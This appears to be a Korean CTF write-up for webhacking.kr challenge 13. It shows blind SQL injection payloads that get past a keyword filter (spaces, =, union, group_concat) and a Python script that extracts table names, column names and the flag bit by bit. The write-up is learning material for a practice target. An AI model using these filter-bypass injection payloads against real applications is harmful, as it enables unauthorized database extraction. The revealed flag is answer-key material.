Post

Webhacking.kr - web13

web13

1
2
3
4
5
sql injection 문제

파라미터는 no이며 필터링 되는 것 : 공백, union, /, and, &&, like, =, >, where, group, ascii, hex, 0x *

필터링 안되는 것 : if, length, substr, select, ord, oct, sleep, %, .

Solution

1
2
3
4
5
6
7
8
우선 값이 뭐가 있는지 확인 -> ?no=if((select(count(no)))in(1),1,0) -> 1
no 컬럼에 값이 1 밖에 없는 듯함.

우리가 해야 할 일은 flag를 뽑아야 하므로 먼저 지금 테이블에 flag라는 컬럼이 있는지부터 확인 후 없다면
현재 db(아마 chall13)와 그 테이블 및 flag컬럼, flag컬럼의 값을 모두 알아내야 함.

먼저 현재 flag값이 들어있는 컬럼이 있는지 확인하고 싶었는데 방법을 못찾음..
그래서 그냥 다 뽑아서 보려고 함.
1
2
3
4
5
6
7
JSON_OBJECTAGG 함수로 group_concat 대체 가능함.
테스트해보니 사용자가 만든 table, column명이 먼저 나와서 빠르게 확인할 수 있을 것 같았는데..
결과를 보고나서 테스트를 해보니 ***한 테이블에 대한 컬럼이 2개 이상이면 하나만 나옴..***

tables : {"list": "no", "FILES": "FILE_ID", "VIEWS": "TABLE_CATALOG", "EVENTS": "EVENT_CATALOG

그래서 json_arrayagg로 변경해서 그냥 컬럼값만 뽑아보기로 함.. 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
너무 오래 걸릴 것 같아서 least 함수를 이용해서 대략 어느 정도 길이인지 파악해서 정확한 길이를 구할 수 있음.
?no=if(least(length((select(json_arrayagg(column_name))from(information_schema.columns))),10)in(10),1,0)

길이는 10032! if(length((select(json_arrayagg(column_name))from(information_schema.columns)))in(10032),1,0) -> 1
앞에서 뽑기에는 너무 오래 걸리므로 예상해보면 거의 뒷쪽에 우리가 원하는 값이 있을 것이므로 10000부터 해보았고,
결국 flag 컬럼명을 알아낼 수 있었음!

columns : EF_COUNT", "flag_3a55b31d", "no"]

?no=if(length((select(flag_3a55b31d))),1,0) -> 0
다른 table에 있는지 확인해봄. 우선 길이를 구하면 10480

tables : "flag_ab733768", "list"]

table명은 flag_ab733768임.

?no=if(length((select(json_arrayagg(flag_3a55b31d))from(flag_ab733768))),1,0) -> 1
처음엔 값이 한 개인 줄 알고 안나와서 당황했는데 값이 여러개 인듯함.
값이 여러개여서 subquery returns more than 1 row 에러가 발생하게되어 0이 나온거였음!
길이는 39
따라서 플래그를 구하면 다음과 같음.

flags : ["flag", "FLAG{challenge13gummyclear}"]
1
2
3
4
5
6
7
8
9
사용한 mysql 함수 : length, bin, ord, substr, json_arrayagg, json_objectagg, least

least 함수는 사칙연산 필터링으로 인해 length 길이 비교를 대체하기 위해 사용.
json_objectagg, json_arrayagg 함수는 group_concat 함수를 대체하기 위해 사용.

새롭게 알게 된 사실
1. json_objectagg는 한 테이블에 2개 이상의 컬럼이 있으면 하나만 나온다는 것
2. json_arrayagg로 뽑아내면 사용자가 생성한 값은 뒷쪽에 있음.
3. group_concat이 되었어도 값이 안나왔을 수도 있음. test 환경에서 해보니 안나옴.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests

url='https://webhacking.kr/challenge/web-10/'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'} 

bit_len=''
bit_val=''
tables=''
columns=''
flags=''

for i in range(10000,10033) :
    #payload={'no':'if(length(bin(ord(substr((select(json_arrayagg(table_name))from(information_schema.columns)),'+str(i)+',1))))in(7),1,0)'}
    #payload={'no':'if(length(bin(ord(substr((select(json_arrayagg(column_name))from(information_schema.columns)),'+str(i)+',1))))in(7),1,0)'}
    payload={'no':'if(length(bin(ord(substr((select(json_arrayagg(flag_3a55b31d))from(flag_ab733768)),'+str(i)+',1))))in(7),1,0)'}
    res=requests.get(url, headers=headers, cookies=cookies, params=payload)
    if '<td>1</td>' in res.text :
        bit_len=7
    else :
        bit_len=6
   
    for j in range(1,bit_len+1):
        #payload={'no':'if(substr(bin(ord(substr((select(json_arrayagg(table_name))from(information_schema.columns)),'+str(i)+',1))),'+str(j)+',1)in(0),1,0)'}
        #payload={'no':'if(substr(bin(ord(substr((select(json_arrayagg(column_name))from(information_schema.columns)),'+str(i)+',1))),'+str(j)+',1)in(0),1,0)'}
        payload={'no':'if(substr(bin(ord(substr((select(json_arrayagg(flag_3a55b31d))from(flag_ab733768)),'+str(i)+',1))),'+str(j)+',1)in(0),1,0)'}
        res=requests.get(url, headers=headers, cookies=cookies, params=payload)
        if '<td>1</td>' in res.text :
            bit_val+='0'
        else :
            bit_val+='1'
           
    #tables+=chr(int(bit_val,2))
    #columns+=chr(int(bit_val,2))
    flags+=chr(int(bit_val,2))
    bit_val=''
    #print('tables :',tables)
    #print('columns :',columns)
    print('flags :',flags)
This post is licensed under CC BY 4.0 by the author.